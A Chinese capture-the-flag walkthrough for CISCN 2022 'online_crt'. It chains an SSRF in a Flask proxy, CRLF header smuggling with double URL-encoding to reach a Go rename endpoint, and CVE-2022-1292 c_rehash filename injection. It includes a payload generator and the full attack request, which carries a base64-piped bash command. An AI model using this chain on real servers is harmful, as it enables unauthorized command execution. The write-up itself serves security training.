[CISCN 2022 初赛]online_crt

[CISCN 2022 初赛]online_crt

  • 知识点:SSRF、CVE-2022-1292

1.信息收集

拿到源码后,发现是go和python一起组合成的后端系统,同时可以看出本题的业务是生成ssl证书文件的功能。我们先从flask开始分析,下面只挑函数来分析

python 复制代码
def get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress):
    root_key = rsa.generate_private_key(
        public_exponent=65537,
        key_size=2048,
        backend=default_backend()
    ) #key的生成位置,和输入无关
    subject = issuer = x509.Name([
        x509.NameAttribute(NameOID.COUNTRY_NAME, Country),
        x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, Province),
        x509.NameAttribute(NameOID.LOCALITY_NAME, City),
        x509.NameAttribute(NameOID.ORGANIZATION_NAME, OrganizationalName),
        x509.NameAttribute(NameOID.COMMON_NAME, CommonName),
        x509.NameAttribute(NameOID.EMAIL_ADDRESS, EmailAddress),
    ])
    root_cert = x509.CertificateBuilder().subject_name(
        subject
    ).issuer_name(
        issuer
    ).public_key(
        root_key.public_key()
    ).serial_number(
        x509.random_serial_number()
    ).not_valid_before(
        datetime.datetime.utcnow()
    ).not_valid_after(
        datetime.datetime.utcnow() + datetime.timedelta(days=3650)
    ).sign(root_key, hashes.SHA256(), default_backend()) #会根据输入内容和刚刚的内容生成一串信息
    crt_name = "static/crt/" + str(uuid.uuid4()) + ".crt" #随机名称(uuid),存放位置是static/crt/
    with open(crt_name, "wb") as f:
        f.write(root_cert.public_bytes(serialization.Encoding.PEM)) #根据刚刚的内容写入证书信息
    return crt_name

拿uuid来生成文件名的函数,在/getcrt下可以触发,同时会回显文件名

python 复制代码
@app.route('/createlink', methods=['GET'])
def info():
    json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}
    return json.dumps(json_data) 

有危险函数os.popen,可执行程序为c_rehash,这是整个文件唯一一个命令执行的入口

python 复制代码
@app.route('/proxy', methods=['GET'])
def proxy():
    uri = request.form.get("uri", "/")
    client = socket.socket()
    client.connect(('localhost', 8887))
    msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

'''
    client.send(msg.encode())
    data = client.recv(2048)
    client.close()
    return data.decode()

app.run(host="0.0.0.0", port=8888)

一个内网通信服务,这个8887这个数字先记住,估计是在go编写的后端那里还会有这个数字出现。这里有个坑啊,就是他是从form里面获取uri的,也就是post里面的body而不是?uri=xxx这种形式,但是请求方式还是get,我们需要改成post传参然后把POST改成GET即可。

go 复制代码
package main

import (
	"github.com/gin-gonic/gin"
	"os"
	"strings"
)

func admin(c *gin.Context) {
	staticPath := "/app/static/crt/"
	oldname := c.DefaultQuery("oldname", "")
	newname := c.DefaultQuery("newname", "")
	if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {
		c.String(500, "error")
		return
	}
	if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {
		err := os.Rename(staticPath+oldname, staticPath+newname)
		if err != nil {
			return
		}
		c.String(200, newname)
		return
	}
	c.String(200, "no")
}

func index(c *gin.Context) {
	c.String(200, "hello world")
}

func main() {
	router := gin.Default()
	router.GET("/", index)
	router.GET("/admin/rename", admin)

	if err := router.Run(":8887"); err != nil {
		panic(err)
	}
}

找到了flask和8887这个端口通信的原因,根目录没啥含义,如果我们是和/admin/rename通信的话,并且c.Request.Host=admin,就能触发刚刚的证书改名业务

2.查找漏洞

做到这里我们就要去搜搜刚刚发现的命令执行是怎么被触发的,https://blog.csdn.net/qq_65010029/article/details/145919402这个博客提供的CVE-2022-1292刚好是我们需要的,归根结底就是通过构造恶意证书文件名即触发rce,那就和我们刚刚的思路串起来了

创建证书->和8887通信->修改证书名->访问/createlink构造rce

3.构造漏洞

创建证书

首先我们随意创建一个证书,然后在路由下获得他的文件名,拿我的来举例

复制代码
static/crt/adfac016-8456-498d-9a77-cb08a5ef9aa3.crt

和8887通信

首先生成payload(用网上师傅的代码https://www.nssctf.cn/note/set/3018

python 复制代码
import urllib.parse
uri = '''/admin%2frename?oldname=9d00f805-2d21-471c-be2b-c9b27f64163d.crt&newname=`echo%20Y2F0IC8qIA==|base64%20--decode|bash>flag.txt`.crt HTTP/1.1
Host: admin
'''
gopher = uri.replace("\n","\r\n")
payload = urllib.parse.quote(gopher)
print(payload)

得到的是一个二次url编码的伪报文,进入go后端本身需要一层解码,之后还有一层解码即可绕过RawPath特性。

之后就是在proxy路由下去请求

复制代码
GET /proxy HTTP/1.1
Host: node4.anna.nssctf.cn:28014
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 320

uri=/admin%252frename%3Foldname%3Dadfac016-8456-498d-9a77-cb08a5ef9aa3.crt%26newname%3D%60echo%2520Y2F0IC8qIA%3D%3D%7Cbase64%2520--decode%7Cbash%3Eflag.txt%60.crt%20HTTP/1.1%0D%0AHost%3A%20admin%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0D%0AContent-Length%3A%20136%0D%0AConnection%3A%20close

出现新文件名代表改名成功

获取flag

访问/createlink这个路由后,我们就可以在static/crt/目录下获取flag了

相关推荐
JQLvopkk3 小时前
2024年常见网络安全问题及预防
安全·web安全
百川3 小时前
CMS框架漏洞
网络·安全·web安全
小白不想白a5 小时前
【MySQL】MySQL的安全风险与安装安全风险
linux·数据库·mysql·安全
lingggggaaaa7 小时前
小迪安全v2023学习笔记(五十讲)—— 持续更新中
笔记·学习·安全·web安全·网络安全
小白不想白a9 小时前
【MySQL安全】什么是SQL注入,怎么避免这种攻击:前端防护、后端orm框架、数据库白名单
数据库·sql·mysql·安全
学习溢出10 小时前
【网络安全】日志文件格式
安全·网络安全·系统安全·日志分析·系统日志
开开心心就好10 小时前
专业鼠标点击器,自定义间隔次数
javascript·安全·计算机外设·excel·音视频·模拟退火算法
大虾别跑12 小时前
tomcat隐藏400报错信息
java·安全·tomcat
GKDf1sh13 小时前
【前端安全】聊聊 HTML 闭合优先级和浏览器解析顺序
前端·安全·html